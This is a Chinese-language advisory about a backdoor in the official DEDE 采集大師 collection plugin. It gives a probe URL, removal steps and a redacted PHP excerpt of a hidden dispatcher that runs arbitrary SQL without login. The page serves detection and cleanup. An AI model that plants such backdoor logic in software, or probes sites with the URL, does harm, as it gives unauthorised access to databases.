首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

DEDE 采集大師官方後門分析與清除指南

     編輯:PHP 綜合知識

⚠️ 安全警示

DEDE 采集大師官方版本在 include/dedesql.query.php (或改名後的 arc.sqlquery.class.php) 植入後門,**無需登入即可直接操作資料庫** (查詢/更新/刪除/導出/修復表結構/更新首頁)。

驗證後門是否存在

瀏覽器訪問:
https://你的域名.com/include/dedesql.query.php?dopost=viewinfo
若顯示 SQL 命令介面,即確認中招。

清除步驟

  1. 安裝采集大師後,**立即刪除** include/dedesql.query.php。
  2. 若已運行一段時間,檢查是否已改名為 include/arc.sqlquery.class.php,同樣刪除。
  3. 檢查資料庫是否有異常資料異動、不明管理員帳號。
  4. 建議**停用該外掛**,改用社群維護的安全版本或自行開發采集功能。

後門核心代碼節選 (已脫敏)

<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
$dopost = empty($dopost) ? "" : $dopost;

if ($dopost == "viewinfo") {          // 檢視表結構
    $dsql->SetQuery("SHOW CREATE TABLE ...");
    // 輸出表結構
}
elseif ($dopost == "query") {         // 任意 SQL 執行
    $sqlquery = trim(stripslashes($sqlquery));
    if (eregi("drop.*table|drop.*database", $sqlquery)) exit("不允許 DROP");
    $dsql->SetQuery($sqlquery);
    $dsql->Execute();
    // 輸出結果 (最多 100 筆)
}
elseif ($dopost == "index") {         // 強制更新首頁
    // ...
}
elseif ($dopost == "view") {          // 完整 SQL 命令介面 (HTML 表單)
    // 輸出含 iframe 的管理介面,可優化/修復/查看所有表、執行多行 SQL
}
?>

根因與教訓

  • 開發者故意留置 dopost 分發器,繞過所有權限檢查。
  • 檔案名偽裝成正常類別檔,極具隱蔽性。
  • **任何「免費閉源」或「官方加密」的 PHP 產品都應視為高風險**,部署前務必全碼審計。

緊急修補建議

# 立即刪除
rm -f include/dedesql.query.php include/arc.sqlquery.class.php

# 若必須保留采集功能,建議:
# 1. 將檔案移至非公開目錄
# 2. 在入口加入 IP 白名單或強制 HTTP Basic Auth
# 3. 定期審計資料庫操作日誌
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved